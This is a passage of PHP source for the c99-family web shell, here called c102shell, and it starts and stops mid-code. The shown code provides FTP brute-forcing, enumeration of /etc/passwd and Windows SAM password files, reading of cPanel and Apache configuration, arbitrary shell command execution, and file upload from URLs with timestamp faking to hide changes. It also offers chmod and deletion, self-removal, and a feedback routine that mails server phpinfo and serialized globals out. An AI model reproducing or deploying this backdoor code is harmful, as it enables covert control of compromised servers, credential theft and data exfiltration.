1595    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; 
1596   } 
1597  } 
1598 } 
1599 if ($act == "d") 
1600 { 
1601  if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} 
1602  else 
1603  { 
1604   echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; 
1605   if (!$win) 
1606   { 
1607    echo "<tr><td><b>Owner/Group</b></td><td> "; 
1608    $ow = posix_getpwuid(fileowner($d)); 
1609    $gr = posix_getgrgid(filegroup($d)); 
1610    $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); 
1611   } 
1612   echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; 
1613  } 
1614 } 
1615 if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} 
1616 if ($act == "security") 
1617 { 
1618  echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; 
1619  if (!$win) 
1620  { 
1621   if ($nixpasswd) 
1622   { 
1623    if ($nixpasswd == 1) {$nixpasswd = 0;} 
1624    echo "<b>*nix /etc/passwd:</b><br>"; 
1625    if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} 
1626    if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} 
1627    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; 
1628    $i = $nixpwd_s; 
1629    while ($i < $nixpwd_e) 
1630    { 
1631     $uid = posix_getpwuid($i); 
1632     if ($uid) 
1633     { 
1634      $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; 
1635      echo join(":",$uid)."<br>"; 
1636     } 
1637     $i++; 
1638    } 
1639   } 
1640   else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} 
1641  } 
1642  else 
1643  { 
1644   $v = $_SERVER["WINDIR"]."\repair\sam"; 
1645   if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} 
1646   else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</font></b><br>";} 
1647  } 
1648  if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} 
1649  if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} 
1650  if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} 
1651  if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} 
1652  if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} 
1653  if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} 
1654  if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} 
1655  function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} 
1656  displaysecinfo("OS Version?",myshellexec("cat /proc/version")); 
1657  displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); 
1658  displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); 
1659  displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); 
1660  displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); 
1661  displaysecinfo("RAM",myshellexec("free -m")); 
1662  displaysecinfo("HDD space",myshellexec("df -h")); 
1663  displaysecinfo("List of Attributes",myshellexec("lsattr -a")); 
1664  displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); 
1665  displaysecinfo("Is cURL installed?",myshellexec("which curl")); 
1666  displaysecinfo("Is lynx installed?",myshellexec("which lynx")); 
1667  displaysecinfo("Is links installed?",myshellexec("which links")); 
1668  displaysecinfo("Is fetch installed?",myshellexec("which fetch")); 
1669  displaysecinfo("Is GET installed?",myshellexec("which GET")); 
1670  displaysecinfo("Is perl installed?",myshellexec("which perl")); 
1671  displaysecinfo("Where is apache",myshellexec("whereis apache")); 
1672  displaysecinfo("Where is perl?",myshellexec("whereis perl")); 
1673  displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); 
1674  displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); 
1675  displaysecinfo("locate my.conf",myshellexec("locate my.conf")); 
1676  displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); 
1677 } 
1678 if ($act == "mkfile") 
1679 { 
1680  if ($mkfile != $d) 
1681  { 
1682   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} 
1683   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} 
1684   else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} 
1685  } 
1686  else {$act = $dspact = "ls";} 
1687 } 
1688 if ($act == "encoder") 
1689 { 
1690  echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; 
1691  foreach(array("md5","crypt","sha1","crc32") as $v) 
1692  { 
1693   echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; 
1694  } 
1695  echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> 
1696  <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> 
1697  <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; 
1698  echo "<center>base64_decode - "; 
1699  if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} 
1700  else 
1701  { 
1702   $debase64 = base64_decode($encoder_input); 
1703   $debase64 = str_replace("&#92;&#48;","[0]",$debase64); 
1704   $a = explode("\r\n",$debase64); 
1705   $rows = count($a); 
1706   $debase64 = htmlspecialchars($debase64); 
1707   if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} 
1708   else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} 
1709   echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; 
1710  } 
1711  echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; 
1712  $c = strlen($encoder_input); 
1713  for($i=0;$i<$c;$i++) 
1714  { 
1715   $hex = dechex(ord($encoder_input[$i])); 
1716   if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} 
1717   elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} 
1718  } 
1719  echo "\" readonly><br></center></form>"; 
1720 } 
1721 if ($act == "fsbuff") 
1722 { 
1723  $arr_copy = $sess_data["copy"]; 
1724  $arr_cut = $sess_data["cut"]; 
1725  $arr = array_merge($arr_copy,$arr_cut); 
1726  if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} 
1727  else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} 
1728 } 
1729 if ($act == "selfremove") 
1730 { 
1731  if (($submit == $rndcode) and ($submit != "")) 
1732  { 
1733   if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c102shell v.".$shver."!"; c99shexit(); } 
1734   else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} 
1735  } 
1736  else 
1737  { 
1738   if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} 
1739   $rnd = rand(0,9).rand(0,9).rand(0,9); 
1740   echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; 
1741  } 
1742 } 
1743 if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} 
1744 if ($act == "feedback") 
1745 { 
1746  $suppmail = base64_decode(); 
1747  if (!empty($submit)) 
1748  { 
1749   $ticket = substr(md5(microtime()+rand(1,1000)),0,6); 
1750   $body = "c102shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; 
1751   if (!empty($fdbk_ref)) 
1752   { 
1753    $tmp = @ob_get_contents(); 
1754    ob_clean(); 
1755    phpinfo(); 
1756    $phpinfo = base64_encode(ob_get_contents()); 
1757    ob_clean(); 
1758    echo $tmp; 
1759    $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; 
1760   } 
1761   mail($suppmail,"c102shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); 
1762   echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; 
1763  } 
1764  else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} 
1765 } 
1766 if ($act == "search") 
1767 { 
1768  echo "<b>Search in file-system:</b><br>"; 
1769  if (empty($search_in)) {$search_in = $d;} 
1770  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} 
1771  if (empty($search_text_wwo)) {$search_text_regexp = 0;} 
1772  if (!empty($submit)) 
1773  { 
1774   $found = array(); 
1775   $found_d = 0; 
1776   $found_f = 0; 
1777   $search_i_f = 0; 
1778   $search_i_d = 0; 
1779   $a = array 
1780   ( 
1781    "name"=>$search_name, "name_regexp"=>$search_name_regexp, 
1782    "text"=>$search_text, "text_regexp"=>$search_text_regxp, 
1783    "text_wwo"=>$search_text_wwo, 
1784    "text_cs"=>$search_text_cs, 
1785    "text_not"=>$search_text_not 
1786   ); 
1787   $searchtime = getmicrotime(); 
1788   $in = array_unique(explode(";",$search_in)); 
1789   foreach($in as $v) {c99fsearch($v);} 
1790   $searchtime = round(getmicrotime()-$searchtime,4); 
1791   if (count($found) == 0) {echo "<b>No files found!</b>";} 
1792   else 
1793   { 
1794    $ls_arr = $found; 
1795    $disp_fullpath = TRUE; 
1796    $act = "ls"; 
1797   } 
1798  } 
1799  echo "<form method=POST> 
1800 <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> 
1801 <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp 
1802 <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> 
1803 <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> 
1804 <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp 
1805 &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only 
1806 &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive 
1807 &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text 
1808 <br><br><input type=submit name=submit value=\"Search\"></form>"; 
1809  if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} 
1810 } 
1811 if ($act == "chmod") 
1812 { 
1813  $mode = fileperms($d.$f); 
1814  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} 
1815  else 
1816  { 
1817   $form = TRUE; 
1818   if ($chmod_submit) 
1819   { 
1820    $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); 
1821    if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} 
1822    else {$err = "Can't chmod to ".$octet.".";} 
1823   } 
1824   if ($form) 
1825   { 
1826    $perms = parse_perms($mode); 
1827    echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; 
1828   } 
1829  } 
1830 } 
1831 if ($act == "upload") 
1832 { 
1833  $uploadmess = ""; 
1834  $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); 
1835  if (empty($uploadpath)) {$uploadpath = $d;} 
1836  elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} 
1837  if (!empty($submit)) 
1838  { 
1839   global $HTTP_POST_FILES; 
1840   $uploadfile = $HTTP_POST_FILES["uploadfile"]; 
1841   if (!empty($uploadfile["tmp_name"])) 
1842   { 
1843    if (empty($uploadfilename)) {$destin = $uploadfile["name"];} 
1844    else {$destin = $userfilename;} 
1845    if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} 
1846   } 
1847   elseif (!empty($uploadurl)) 
1848   { 
1849    if (!empty($uploadfilename)) {$destin = $uploadfilename;} 
1850    else 
1851    { 
1852     $destin = explode("/",$destin); 
1853     $destin = $destin[count($destin)-1]; 
1854     if (empty($destin)) 
1855     { 
1856      $i = 0; 
1857      $b = ""; 
1858      while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} 
1859    } 
1860    if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} 
1861    else 
1862    { 
1863     $st = getmicrotime(); 
1864     $content = @file_get_contents($uploadurl); 
1865     $dt = round(getmicrotime()-$st,4); 
1866     if (!$content) {$uploadmess .=  "Can't download file!<br>";} 
1867     else 
1868     { 
1869      if ($filestealth) {$stat = stat($uploadpath.$destin);} 
1870      $fp = fopen($uploadpath.$destin,"w"); 
1871      if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} 
1872      else 
1873      { 
1874       fwrite($fp,$content,strlen($content)); 
1875       fclose($fp); 
1876       if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} 
1877      } 
1878     } 
1879    } 
1880   } 
1881  } 
1882  if ($miniform) 
1883  { 
1884   echo "<b>".$uploadmess."</b>"; 
1885   $act = "ls"; 
1886  } 
1887  else 
1888  { 
1889   echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> 
1890 Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> 
1891 Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> 
1892 Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> 
1893 File-name (auto-fill): <input name=uploadfilename size=25><br><br> 
1894 <input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> 
1895 <input type=submit name=submit value=\"Upload\"> 
1896 </form>"; 
1897  } 
1898 } 
1899 if ($act == "delete") 
1900 { 
1901  $delerr = ""; 
1902  foreach ($actbox as $v) 
1903  { 
1904   $result = FALSE; 
1905   $result = fs_rmobj($v); 
1906   if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} 
1907  } 
1908  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} 
1909  $act = "ls"; 
1910 } 
1911 if (!$usefsbuff) 
1912 { 
1913  if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} 
1914 } 
1915 else 
1916 { 
1917  if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } 
1918  elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} 
1919  elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} 
1920  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} 
1921  elseif ($actpastebuff) 
1922  { 
1923   $psterr = ""; 
1924   foreach($sess_data["copy"] as $k=>$v) 
1925   { 
1926    $to = $d.basename($v); 
1927    if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} 
1928    if ($copy_unset) {unset($sess_data["copy"][$k]);} 
1929   } 
1930   foreach($sess_data["cut"] as $k=>$v) 
1931   { 
1932    $to = $d.basename($v); 
1933    if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} 
1934    unset($sess_data["cut"][$k]); 
1935   } 
1936   c99_sess_put($sess_data); 
1937   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} 
1938   $act = "ls"; 
1939  } 
1940  elseif ($actarcbuff) 
1941  { 
1942   $arcerr = ""; 
1943   if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} 
1944   else {$ext = ".tar.gz";} 
1945   if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} 
1946   $cmdline .= " ".$actarcbuff_path; 
1947   $objects = array_merge($sess_data["copy"],$sess_data["cut"]); 
1948   foreach($objects as $v) 
1949   { 
1950    $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); 
1951    if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} 
1952    if (is_dir($v)) 
1953    { 
1954     if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} 
1955     $v .= "*"; 
1956    } 
1957    $cmdline .= " ".$v; 
1958   } 
1959   $tmp = realpath("."); 
1960   chdir($d); 
1961   $ret = myshellexec($cmdline); 
1962   chdir($tmp); 
1963   if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} 
1964   $ret = str_replace("\r\n","\n",$ret); 
1965   $ret = explode("\n",$ret); 
1966   if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} 
1967   foreach($sess_data["cut"] as $k=>$v) 
1968   { 
1969    if (in_array($v,$ret)) {fs_rmobj($v);} 
1970    unset($sess_data["cut"][$k]); 
1971   } 
1972   c99_sess_put($sess_data); 
1973   if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} 
1974   $act = "ls"; 
1975  } 
1976  elseif ($actpastebuff) 
1977  { 
1978   $psterr = ""; 
1979   foreach($sess_data["copy"] as $k=>$v) 
1980   { 
1981    $to = $d.basename($v); 
1982    if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} 
1983    if ($copy_unset) {unset($sess_data["copy"][$k]);} 
1984   } 
1985   foreach($sess_data["cut"] as $k=>$v) 
1986   { 
1987    $to = $d.basename($v); 
1988    if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} 
1989    unset($sess_data["cut"][$k]); 
1990   } 
1991   c99_sess_put($sess_data); 
1992   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} 
1993   $act = "ls"; 
1994  } 
1995 } 
1996 if ($act == "cmd") 
1997 { 
1998 if (trim($cmd) == "ps -aux") {$act = "processes";} 
1999 elseif (trim($cmd) == "tasklist") {$act = "processes";} 
2000 else 
2001 { 
2002  @chdir($chdir); 
2003  if (!empty($submit)) 
2004  { 
2005   echo "<b>Result of execution this command</b>:<br>"; 
2006   $olddir = realpath("."); 
2007   @chdir($d); 
2008   $ret = myshellexec($cmd); 
2009   $ret = convert_cyr_string($ret,"d","w"); 
2010   if ($cmd_txt) 
2011   { 
2012    $rows = count(explode("\r\n",$ret))+1; 
2013    if ($rows < 10) {$rows = 10;} 
2014    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; 
2015   } 
2016   else {echo $ret."<br>";} 
2017   @chdir($olddir); 
2018  } 
2019  else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} 
2020  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; 
2021 } 
2022 } 
2023 if ($act == "ls") 
2024 { 
2025  if (count($ls_arr) > 0) {$list = $ls_arr;} 
2026  else 
2027  { 
2028   $list = array(); 
2029   if ($h = @opendir($d)) 
2030   { 
2031    while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} 
2032    closedir($h); 
2033   } 
2034   else {} 
2035  } 
2036  if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} 
2037  else 
2038  { 
2039   //Building array 
2040   $objects = array(); 
2041   $vd = "f"; //Viewing mode 
2042   if ($vd == "f") 
2043   { 
2044    $objects["head"] = array(); 
2045    $objects["folders"] = array(); 
2046    $objects["links"] = array(); 
2047    $objects["files"] = array(); 
2048    foreach ($list as $v) 
2049    { 
2050     $o = basename($v); 
2051     $row = array(); 
2052     if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} 
2053     elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} 
2054     elseif (is_dir($v)) 
2055     { 
2056      if (is_link($v)) {$type = "LINK";} 
2057      else {$type = "DIR";} 
2058      $row[] = $v; 
2059      $row[] = $type; 
2060     } 
2061     elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} 
2062     $row[] = filemtime($v); 
2063     if (!$win) 
2064     { 
2065      $ow = posix_getpwuid(fileowner($v)); 
2066      $gr = posix_getgrgid(filegroup($v)); 
2067      $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); 
2068     } 
2069     $row[] = fileperms($v); 
2070     if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} 
2071     elseif (is_link($v)) {$objects["links"][] = $row;} 
2072     elseif (is_dir($v)) {$objects["folders"][] = $row;} 
2073     elseif (is_file($v)) {$objects["files"][] = $row;} 
2074     $i++; 
2075    } 
2076    $row = array(); 
2077    $row[] = "<b>Name</b>"; 
2078    $row[] = "<b>Size</b>"; 
2079    $row[] = "<b>Modify</b>"; 
2080    if (!$win) 
